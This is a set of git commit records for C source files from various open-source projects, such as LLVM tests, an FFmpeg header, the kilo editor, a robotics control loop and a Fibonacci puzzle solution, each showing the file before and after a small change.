{"commit":"0be16b56459b7fb7317c8a4a2c750d1b4138ed4a","old_file":"solutions\/uri\/1029\/1029.c","new_file":"solutions\/uri\/1029\/1029.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <string.h>\n\nlong int f[39];\nlong int r[39];\n\nlong int fib(long int n) {\n    if (n == 0) {\n        return f[0];\n    }\n\n    if (f[n] != 0) {\n        return f[n];\n    }\n\n    f[n] = fib(n - 1) + fib(n - 2);\n    r[n] = r[n - 1] + r[n - 2] + 2;\n\n    return f[n];\n}\n\nint main() {\n    int i, j;\n    long int n;\n\n    memset(f, 0, sizeof(f));\n    memset(r, 0, sizeof(r));\n    f[1] = 1;\n\n    scanf(\"%d\", &i);\n    while (i--) {\n        scanf(\"%ld\", &n);\n        printf(\"fib(%ld) = %ld calls = %ld\\n\", n, r[n], fib(n));\n    }\n\n    return 0;\n}\n","subject":"Solve Fibonacci, How Many Calls? in c","message":"Solve Fibonacci, How Many Calls? in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"c074c99d3e0e4fd133b1300c4cb6acf0efbdf801","old_file":"ir\/ana2\/gnu_ext.h","new_file":"ir\/ana2\/gnu_ext.h","old_contents":"","new_contents":"\/* -*- c -*- *\/\n\n\/*\n   Project:     libFIRM\n   File name:   ir\/ana\/gnu_ext.c\n   Purpose:     Provide some GNU CC extensions to the rest of the world\n   Author:      Florian\n   Modified by:\n   Created:     Sat Nov 13 19:35:27 CET 2004\n   CVS-ID:      $Id$\n   Copyright:   (c) 1999-2005 Universitt Karlsruhe\n   Licence:     This file is protected by the GPL -  GNU GENERAL PUBLIC LICENSE.\n*\/\n\n# ifdef HAVE_CONFIG_H\n#  include \"config.h\"\n# endif\n\n\/*\n  gnu_ext: Provide some GNU CC extensions to the rest of the world\n*\/\n\n\/* Includes *\/\n\n\/* Local Defines: *\/\n# if defined (__GNUC__)\n\/* then we're all set *\/\n# else \/* defined __GNUC__ *\/\n#  define __FUNCTION__  \"::\"\n#  define __PRETTY_FUNCTION__ \":::\"\n# endif \/* define __GNUC__ *\/\n\n\/* Local Data Types: *\/\n\n\/* Local Variables: *\/\n\n\/* Local Prototypes: *\/\n\n\/* ===================================================\n   Local Implementation:\n   =================================================== *\/\n\n\/* ===================================================\n   Exported Implementation:\n   =================================================== *\/\n\n\f\n\/*\n  $Log$\n  Revision 1.1  2005\/01\/14 14:15:19  liekweg\n  Support GNU extensions on non-GNU platforms\n\n\n*\/\n","subject":"Support GNU extensions on non-GNU platforms","message":"Support GNU extensions on non-GNU platforms\n\n[r4924]\n","lang":"C","license":"lgpl-2.1","repos":"MatzeB\/libfirm,MatzeB\/libfirm,MatzeB\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,libfirm\/libfirm,davidgiven\/libfirm,8l\/libfirm,8l\/libfirm,libfirm\/libfirm,killbug2004\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm,8l\/libfirm,davidgiven\/libfirm,killbug2004\/libfirm,libfirm\/libfirm,8l\/libfirm,8l\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,jonashaag\/libfirm,davidgiven\/libfirm,8l\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm,libfirm\/libfirm,8l\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm,libfirm\/libfirm,MatzeB\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm"}
{"commit":"38bcd605bc3a57bf3bd354826e16e41d74d87933","old_file":"test.c","new_file":"test.c","old_contents":"#include <stdio.h>\n\nint main(int argc, char ** argv){\n    printf(\"Test\\n\");\n    return 0;\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n\nint main(int argc, char ** argv){\n    printf(\"Test\\n\");\n    void* test = malloc(1024*1024);\n    if(test > 0){\n        printf(\"Malloc\\n\");\n        free(test);\n        printf(\"Free\\n\");\n    }else{\n        printf(\"Malloc Failed\\n\");\n    }\n    return 0;\n}\n","subject":"Fix bugs with libc, executor","message":"WIP: Fix bugs with libc, executor\n","lang":"C","license":"mit","repos":"redox-os\/libc,redox-os\/libc,redox-os\/libc"}
{"commit":"81418d19ccfd34af55de37f16f1dcd9a6111eb2f","old_file":"kilo.c","new_file":"kilo.c","old_contents":"#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disable_raw_mode() {\n\ttcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enable_raw_mode() {\n\ttcgetattr(STDIN_FILENO, &orig_termios);\n\tatexit(disable_raw_mode);\n\n\tstruct termios raw = orig_termios;\n\traw.c_iflag &= ~(ICRNL | IXON);\n\traw.c_oflag &= ~(OPOST);\n\traw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);\n\n\ttcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n\tenable_raw_mode();\n\n\tchar c;\n\twhile (read(STDIN_FILENO, &c, 1) == 1 && c != 'q') {\n\t\tif (iscntrl(c)) {\n\t\t\tprintf(\"%d\\n\", c);\n\t\t} else {\n\t\t\tprintf(\"%d ('%c')\\n\", c, c);\n\t\t}\n\t}\n\treturn 0;\n}\n","new_contents":"#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disable_raw_mode() {\n\ttcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enable_raw_mode() {\n\ttcgetattr(STDIN_FILENO, &orig_termios);\n\tatexit(disable_raw_mode);\n\n\tstruct termios raw = orig_termios;\n\traw.c_iflag &= ~(ICRNL | IXON);\n\traw.c_oflag &= ~(OPOST);\n\traw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);\n\n\ttcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n\tenable_raw_mode();\n\n\tchar c;\n\twhile (read(STDIN_FILENO, &c, 1) == 1 && c != 'q') {\n\t\tif (iscntrl(c)) {\n\t\t\tprintf(\"%d\\r\\n\", c);\n\t\t} else {\n\t\t\tprintf(\"%d ('%c')\\r\\n\", c, c);\n\t\t}\n\t}\n\treturn 0;\n}\n","subject":"Fix printf() by adding CR manually","message":"Fix printf() by adding CR manually\n","lang":"C","license":"bsd-2-clause","repos":"oldsharp\/kilo,oldsharp\/kilo"}
{"commit":"e9e7ffa10d1af2f0b11528c1be16ab406c02f136","old_file":"runtime\/libprofile\/LineProfiling.c","new_file":"runtime\/libprofile\/LineProfiling.c","old_contents":"\/*===- LineProfiling.c - Support library for line profiling ---------------===*\\\n|*\n|*                     The LLVM Compiler Infrastructure\n|*\n|* This file is distributed under the University of Illinois Open Source\n|* License. See LICENSE.TXT for details.\n|* \n|*===----------------------------------------------------------------------===*|\n|* \n|* This file implements the call back routines for the line profiling\n|* instrumentation pass. Link against this library when running code through\n|* the -insert-line-profiling LLVM pass.\n|*\n\\*===----------------------------------------------------------------------===*\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <stdint.h>\n\n\/* A file in this case is a translation unit. Each .o file built with line\n * profiling enabled will emit to a different file. Only one file may be\n * started at a time.\n *\/\nvoid llvm_prof_linectr_start_file(const char *orig_filename) {\n  printf(\"[%s]\\n\", orig_filename);\n}\n\n\/* Emit data about a counter to the data file. *\/\nvoid llvm_prof_linectr_emit_counter(const char *dir, const char *file,\n                                    uint32_t line, uint32_t column,\n                                    uint64_t *counter) {\n  printf(\"%s\/%s:%u:%u %lu\\n\", dir, file, line, column, *counter);\n}\n\nvoid llvm_prof_linectr_end_file() {\n  printf(\"-----\\n\");\n}\n","new_contents":"\/*===- LineProfiling.c - Support library for line profiling ---------------===*\\\n|*\n|*                     The LLVM Compiler Infrastructure\n|*\n|* This file is distributed under the University of Illinois Open Source\n|* License. See LICENSE.TXT for details.\n|* \n|*===----------------------------------------------------------------------===*|\n|* \n|* This file implements the call back routines for the line profiling\n|* instrumentation pass. Link against this library when running code through\n|* the -insert-line-profiling LLVM pass.\n|*\n\\*===----------------------------------------------------------------------===*\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <stdint.h>\n\n#include \"llvm\/Support\/DataTypes.h\"\n\n\/* A file in this case is a translation unit. Each .o file built with line\n * profiling enabled will emit to a different file. Only one file may be\n * started at a time.\n *\/\nvoid llvm_prof_linectr_start_file(const char *orig_filename) {\n  printf(\"[%s]\\n\", orig_filename);\n}\n\n\/* Emit data about a counter to the data file. *\/\nvoid llvm_prof_linectr_emit_counter(const char *dir, const char *file,\n                                    uint32_t line, uint32_t column,\n                                    uint64_t *counter) {\n  printf(\"%s\/%s:%u:%u %\" PRIu64 \"\\n\", dir, file, line, column, *counter);\n}\n\nvoid llvm_prof_linectr_end_file() {\n  printf(\"-----\\n\");\n}\n","subject":"Print our uint64_t with the more portable (C99 and C++0x) %PRIu64 format specifier.","message":"Print our uint64_t with the more portable (C99 and C++0x) %PRIu64 format\nspecifier.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@129384 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm"}
{"commit":"b1167684c00877fac8bb3ebe120f088ff99daa57","old_file":"list.h","new_file":"list.h","old_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void *);\nvoid ListNode_Destroy(ListNode* n);\nListNode* List_Search(List* l, void* k, int f(void*, void*));\n\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void *);\nvoid ListNode_Destroy(ListNode* n);\nListNode* List_Search(List* l, void* k, int (f)(void*, void*));\n\n\n#endif","subject":"Fix missing parenthesis around f as parameter","message":"Fix missing parenthesis around f as parameter\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"eb477c92d61c1f2db3d5fd98e842050a4313ba3a","old_file":"main.c","new_file":"main.c","old_contents":"#include \"kms-endpoint.h\"\n#include <glib.h>\n\nint main(int argc, char **argv) {\n\tGObject *ep;\n\tGValue val = G_VALUE_INIT;\n\tGError *err = NULL;\n\tKmsConnection *conn = NULL;\n\n\tg_type_init();\n\n\tep = g_object_new(KMS_TYPE_ENDPOINT, \"localname\", \"test_ep\", NULL);\n\n\tif (ep == NULL) {\n\t\tg_print(\"Create endpont is: NULL\\n\");\n\t\treturn 1;\n\t}\n\n\tg_value_init(&val, G_TYPE_STRING);\n\n\tg_object_get_property(ep, \"localname\", &val);\n\n\tg_print(\"Created ep with localname: %s\\n\", g_value_get_string(&val));\n\n\tconn = kms_endpoint_create_connection(KMS_ENDPOINT(ep),\n\t\t\t\t\t\tKMS_CONNECTION_TYPE_RTP, &err);\n\n\tif (conn == NULL) {\n\t\tg_print(\"Connection can not be created: %s\\n\", err->message);;\n\t\tg_error_free(err);\n\t\tgoto end;\n\t}\n\nend:\n\tg_object_unref(ep);\n\n\treturn 0;\n}\n","new_contents":"#include \"kms-endpoint.h\"\n#include <glib.h>\n\nint main(int argc, char **argv) {\n\tGObject *ep;\n\tGValue val = G_VALUE_INIT;\n\tGError *err = NULL;\n\tKmsConnection *conn = NULL;\n\n\tg_type_init();\n\n\tep = g_object_new(KMS_TYPE_ENDPOINT, \"localname\", \"test_ep\", NULL);\n\n\tif (ep == NULL) {\n\t\tg_print(\"Create endpont is: NULL\\n\");\n\t\treturn 1;\n\t}\n\n\tg_value_init(&val, G_TYPE_STRING);\n\n\tg_object_get_property(ep, \"localname\", &val);\n\n\tg_print(\"Created ep with localname: %s\\n\", g_value_get_string(&val));\n\n\tconn = kms_endpoint_create_connection(KMS_ENDPOINT(ep),\n\t\t\t\t\t\tKMS_CONNECTION_TYPE_RTP, &err);\n\n\tif (conn == NULL) {\n\t\tg_print(\"Connection can not be created: %s\\n\", err->message);;\n\t\tg_error_free(err);\n\t\tgoto end;\n\t}\n\n\tg_object_get_property(G_OBJECT(conn), \"id\", &val);\n\n\tg_print(\"Created local connection with id: %s\\n\",\n\t\t\t\t\t\tg_value_get_string(&val));\n\n\tif (!kms_endpoint_delete_connection(KMS_ENDPOINT(ep), conn, &err)) {\n\t\tg_printerr(\"Connection can not be deleted: %s\", err->message);\n\t\tg_error_free(err);\n\t\tgoto end;\n\t}\n\nend:\n\tg_object_unref(ep);\n\n\treturn 0;\n}\n","subject":"Add test for delete connection method","message":"Add test for delete connection method\n","lang":"C","license":"lgpl-2.1","repos":"mparis\/kurento-media-server,lulufei\/kurento-media-server,lulufei\/kurento-media-server,mparis\/kurento-media-server,Kurento\/kurento-media-server,todotobe1\/kurento-media-server,TribeMedia\/kurento-media-server,shelsonjava\/kurento-media-server,TribeMedia\/kurento-media-server,shelsonjava\/kurento-media-server,Kurento\/kurento-media-server,todotobe1\/kurento-media-server"}
{"commit":"4cb0d352ed7208fc9ac71b006dcb1b0ff8d65ca2","old_file":"src\/xpiks-qt\/Models\/logsmodel.h","new_file":"src\/xpiks-qt\/Models\/logsmodel.h","old_contents":"#ifndef LOGSMODEL\n#define LOGSMODEL\n\n#include <QString>\n#include <QFile>\n#include <QDir>\n#include <QDebug>\n#include <QTextStream>\n#include <QStandardPaths>\n#include \"Helpers\/constants.h\"\n\nnamespace Models {\n    class LogsModel : public QObject {\n        Q_OBJECT\n    public:\n        Q_INVOKABLE QString getAllLogsText() {\n            QString result;\n#ifdef QT_NO_DEBUG\n            QDir logFileDir(QStandardPaths::writableLocation(QStandardPaths::AppLocalDataLocation));\n            QString logFilePath = logFileDir.filePath(Constants::LOG_FILENAME);\n            QFile f(logFilePath);\n\n\n            if (f.open(QIODevice::ReadOnly | QIODevice::Text)) {\n                QTextStream in(&f);\n                result = in.readAll();\n            }\n#else\n            result = \"Logs are available in Release version\";\n#endif\n            return result;\n\n        }\n    };\n}\n\n#endif \/\/ LOGSMODEL\n\n","new_contents":"#ifndef LOGSMODEL\n#define LOGSMODEL\n\n#include <QString>\n#include <QFile>\n#include <QDir>\n#include <QDebug>\n#include <QTextStream>\n#include <QStandardPaths>\n#include \"..\/Helpers\/constants.h\"\n\nnamespace Models {\n    class LogsModel : public QObject {\n        Q_OBJECT\n    public:\n        Q_INVOKABLE QString getAllLogsText() {\n            QString result;\n#ifdef QT_NO_DEBUG\n            QDir logFileDir(QStandardPaths::writableLocation(QStandardPaths::AppLocalDataLocation));\n            QString logFilePath = logFileDir.filePath(Constants::LOG_FILENAME);\n            QFile f(logFilePath);\n\n\n            if (f.open(QIODevice::ReadOnly | QIODevice::Text)) {\n                QTextStream in(&f);\n                result = in.readAll();\n            }\n#else\n            result = \"Logs are available in Release version\";\n#endif\n            return result;\n\n        }\n    };\n}\n\n#endif \/\/ LOGSMODEL\n\n","subject":"Fix for compilation in Windows","message":"Fix for compilation in Windows\n","lang":"C","license":"mpl-2.0","repos":"Ribtoks\/xpiks,Artiom-M\/xpiks,Ribtoks\/xpiks,Ribtoks\/xpiks,Ribtoks\/xpiks,Artiom-M\/xpiks,Artiom-M\/xpiks,Artiom-M\/xpiks"}
{"commit":"fd440beaf95128b12f2abc279525192bfcc5eca0","old_file":"percolation\/main.c","new_file":"percolation\/main.c","old_contents":"\/* headers *\/\n#include <stdlib.h>\n#include <time.h>\n\n#include \"lattice.h\"\n#include \"clusters.h\"\n#include \"io_helpers.h\"\n\n\/* main body function *\/\nint main()\n{\n    int L; \/* square lattice size *\/\n    double p; \/* occupation probability of each lattice site *\/\n    int *lattice; \/* lattice array *\/\n\n    \/* initialize random number generator seed *\/\n    srand(time(NULL));\n\n    \/* allocate lattice *\/\n    L = 10;\n    lattice = allocate_lattice(L, L);\n\n    \/* populate lattice with given probability *\/\n    p = 0.4;\n    populate_lattice(p, lattice, L, L);\n\n    \/* print the generated lattice for visualization *\/\n    print_lattice(lattice, L, L, 1);\n\n    \/* label clusters and print result *\/\n    label_clusters(lattice, L, L);\n    print_lattice(lattice, L, L, 1);\n\n    \/* free memory before leaving *\/\n    free(lattice);\n\n    return 0;\n}\n","new_contents":"\/* headers *\/\n#include <stdlib.h>\n#include <time.h>\n\n#include \"lattice.h\"\n#include \"clusters.h\"\n#include \"io_helpers.h\"\n\n\/* main body function *\/\nint main(int argc, char ** argv)\n{\n    int L; \/* square lattice size *\/\n    double p; \/* occupation probability of each lattice site *\/\n    int *lattice; \/* lattice array *\/\n\n    \/* read input arguments; if none provided fallback to default values *\/\n    if (argc == 3) {\n        L = atoi(argv[1]);\n        p = atof(argv[2]);\n    } else {\n        L = 10;\n        p = 0.4;\n    }\n\n    \/* initialize random number generator seed *\/\n    srand(time(NULL));\n\n    \/* allocate lattice *\/\n    lattice = allocate_lattice(L, L);\n\n    \/* populate lattice with given probability *\/\n    populate_lattice(p, lattice, L, L);\n\n    \/* print the generated lattice for visualization *\/\n    print_lattice(lattice, L, L, 1);\n\n    \/* label clusters and print result *\/\n    label_clusters(lattice, L, L);\n    print_lattice(lattice, L, L, 1);\n\n    \/* free memory before leaving *\/\n    free(lattice);\n\n    return 0;\n}\n","subject":"Add passing problem parameters as program arguments","message":"[percolation] Add passing problem parameters as program arguments\n","lang":"C","license":"mit","repos":"cerisola\/fiscomp,cerisola\/fiscomp,cerisola\/fiscomp"}
{"commit":"115f2b95d5756319855249fe60aa91e273e3c191","old_file":"test\/Driver\/noexecstack.c","new_file":"test\/Driver\/noexecstack.c","old_contents":"\/\/ RUN: %clang -### %s -c -o tmp.o -Wa,--noexecstack 2>&1 | grep \"mnoexecstack\"\n","new_contents":"\/\/ RUN: %clang -### %s -c -o tmp.o -triple i686-pc-linux-gnu -integrated-as -Wa,--noexecstack 2>&1 | grep \"mnoexecstack\"\n","subject":"Fix this test on machines that don't run clang -cc1as when asked to assemble.","message":"Fix this test on machines that don't run clang -cc1as when asked to assemble.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@133688 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"8d7d203342f1573938e99d984ca335f05e1415bb","old_file":"test\/tools\/llvm-cov\/zeroFunctionFile.c","new_file":"test\/tools\/llvm-cov\/zeroFunctionFile.c","old_contents":"#include \"Inputs\/zeroFunctionFile.h\"\n\nint foo(int x) {\n  return NOFUNCTIONS(x);\n}\nint main() {\n  return foo(2);\n}\n\n\/\/ RUN: llvm-profdata merge %S\/Inputs\/zeroFunctionFile.proftext -o %t.profdata\n\n\/\/ RUN: llvm-cov report %S\/Inputs\/zeroFunctionFile.covmapping -instr-profile %t.profdata 2>&1 | FileCheck --check-prefix=REPORT --strict-whitespace %s\n\/\/ REPORT: 0                 0         -           0                 0         -               0               0         -           0                 0         -\n\/\/ REPORT-NO: 0%\n\n\/\/ RUN: llvm-cov show %S\/Inputs\/zeroFunctionFile.covmapping -format html -instr-profile %t.profdata -o %t.dir\n\/\/ RUN: FileCheck %s -input-file=%t.dir\/index.html -check-prefix=HTML\n\/\/ HTML: <td class='column-entry-green'><pre>- (0\/0)\n\/\/ HTML-NO: 0.00% (0\/0)\n","new_contents":"#include \"Inputs\/zeroFunctionFile.h\"\n\nint foo(int x) {\n  return NOFUNCTIONS(x);\n}\nint main() {\n  return foo(2);\n}\n\n\/\/ RUN: llvm-profdata merge %S\/Inputs\/zeroFunctionFile.proftext -o %t.profdata\n\n\/\/ RUN: llvm-cov report %S\/Inputs\/zeroFunctionFile.covmapping -instr-profile %t.profdata 2>&1 | FileCheck --check-prefix=REPORT --strict-whitespace %s\n\/\/ REPORT: 0                 0         -           0                 0         -               0               0         -           0                 0         -\n\/\/ REPORT-NO: 0%\n\n\/\/ RUN: llvm-cov show -j 1 %S\/Inputs\/zeroFunctionFile.covmapping -format html -instr-profile %t.profdata -o %t.dir\n\/\/ RUN: FileCheck %s -input-file=%t.dir\/index.html -check-prefix=HTML\n\/\/ HTML: <td class='column-entry-green'><pre>- (0\/0)\n\/\/ HTML-NO: 0.00% (0\/0)\n","subject":"Disable threading in a test. NFC.","message":"[llvm-cov] Disable threading in a test. NFC.\n\nPR30735 reports an issue where llvm-cov hangs with a worker thread\nwaiting on a condition, and the main thread waiting to join() the\nworkers. While this doesn't appear to be a bug in llvm-cov or the\nThreadPool implementation, it would be helpful to disable the use of\nthreading in the llvm-cov tests where no test coverage is added.\n\nMore context: https:\/\/bugs.llvm.org\/show_bug.cgi?id=30735\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@307610 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm"}
{"commit":"38f81754a540d7e1212e8b6247aff174aceefced","old_file":"src\/user.c","new_file":"src\/user.c","old_contents":"task blink();\n\ntask usercontrol(){\n\tint DY, DT;\n\tbool isReset = false;\n\tstartTask(blink);\n\n\t\/\/Enable Positioning System\n\tstartTask(positionsystem);\n\n\twhile(true){\n\t\t\/\/Driving\n\t\tDY = threshold(PAIRED_CH2^2 \/ MAX_POWER, 5);\n\t\tDT = threshold(PAIRED_CH1^2 \/ MAX_POWER, 5);\n\t\tdrive(DY, DT);\n\n\t\t\/\/Mogo\n\t\tmogo(threshold(PAIRED_CH3, 15));\n\n\t\t\/\/Arm\n\t\tarm((PAIRED_BTN6U - PAIRED_BTN6D) * MAX_POWER);\n\n\t\t\/\/Lift\n\t\tlift((PAIRED_BTN7U - PAIRED_BTN7D) * MAX_POWER);\n\n\t\t\/\/Intake\n\t\tintake((PAIRED_BTN5U - PAIRED_BTN5D) * MAX_POWER);\n\n\t\t\/\/Reset (can be done multiple times, only required once)\n\t\tif(SensorValue[resetButton]){\n\t\t\tresetAll();\n\t\t\tisReset = true;\n\t\t\tstopTask(blink);\n\t\t\tSensorValue[resetLED] = false;\n\t\t\twaitUntil(!SensorValue[resetButton]);\n\t\t}\n\t}\n}\n\ntask blink(){\n\twhile(true){\n\t\tSensorValue[resetLED] = !SensorValue[resetLED];\n\t\twait1Msec(1000);\n\t}\n}\n","new_contents":"task blink();\n\ntask usercontrol(){\n\tint DY, DT;\n\tbool isReset = false;\n\tstartTask(blink);\n\n\t\/\/Enable Positioning System\n\tstartTask(positionsystem);\n\n\twhile(true){\n\t\t\/\/Driving\n\t\tDY = threshold(PAIRED_CH2^2 \/ MAX_POWER, 5) + ((PAIRED_BTN8U - PAIRED_BTN8D) * MAX_POWER);\n\t\tDT = threshold(PAIRED_CH1^2 \/ MAX_POWER, 5) + ((PAIRED_BTN8R - PAIRED_BTN8L) * MAX_POWER);\n\t\tdrive(DY, DT);\n\n\t\t\/\/Mogo\n\t\tmogo(threshold(PAIRED_CH3, 15));\n\n\t\t\/\/Arm\n\t\tarm((PAIRED_BTN6U - PAIRED_BTN6D) * MAX_POWER);\n\n\t\t\/\/Lift\n\t\tlift((PAIRED_BTN7U - PAIRED_BTN7D) * MAX_POWER);\n\n\t\t\/\/Intake\n\t\tintake((PAIRED_BTN5U - PAIRED_BTN5D) * MAX_POWER);\n\n\t\t\/\/Reset (can be done multiple times, only required once)\n\t\tif(abs(SensorValue[aclZ]) > 50){\n\t\t\tstartTask(blink);\n\t\t}\n\t\tif(SensorValue[resetButton]){\n\t\t\tresetAll();\n\t\t\tisReset = true;\n\t\t\tstopTask(blink);\n\t\t\tSensorValue[resetLED] = false;\n\t\t\twaitUntil(!SensorValue[resetButton]);\n\t\t}\n\t}\n}\n\ntask blink(){\n\twhile(true){\n\t\tSensorValue[resetLED] = !SensorValue[resetLED];\n\t\twait1Msec(1000);\n\t}\n}\n","subject":"Add button driving and reset encoder warning when bot picked up","message":"Add button driving and reset encoder warning when bot picked up\n","lang":"C","license":"mit","repos":"18moorei\/code-red-in-the-zone"}
{"commit":"a995514733949a433e39edec0966ba2789b57ada","old_file":"libavutil\/pca.h","new_file":"libavutil\/pca.h","old_contents":"\/*\n * Principal component analysis\n * Copyright (c) 2004 Michael Niedermayer <michaelni@gmx.at>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\n *\/\n\n\/**\n * @file pca.h\n * Principal component analysis\n *\/\n\nstruct PCA *ff_pca_init(int n);\nvoid ff_pca_free(struct PCA *pca);\nvoid ff_pca_add(struct PCA *pca, double *v);\nint ff_pca(struct PCA *pca, double *eigenvector, double *eigenvalue);\n","new_contents":"\/*\n * Principal component analysis\n * Copyright (c) 2004 Michael Niedermayer <michaelni@gmx.at>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\n *\/\n\n\/**\n * @file pca.h\n * Principal component analysis\n *\/\n\n#ifndef FFMPEG_PCA_H\n#define FFMPEG_PCA_H\n\nstruct PCA *ff_pca_init(int n);\nvoid ff_pca_free(struct PCA *pca);\nvoid ff_pca_add(struct PCA *pca, double *v);\nint ff_pca(struct PCA *pca, double *eigenvector, double *eigenvalue);\n\n#endif \/* FFMPEG_PCA_H *\/\n","subject":"Make diego happy before he notices.","message":"Make diego happy before he notices.\n\n\ngit-svn-id: a4d7c1866f8397a4106e0b57fc4fbf792bbdaaaf@14810 9553f0bf-9b14-0410-a0b8-cfaf0461ba5b\n","lang":"C","license":"lgpl-2.1","repos":"prajnashi\/ffmpeg,prajnashi\/ffmpeg,prajnashi\/ffmpeg,prajnashi\/ffmpeg"}
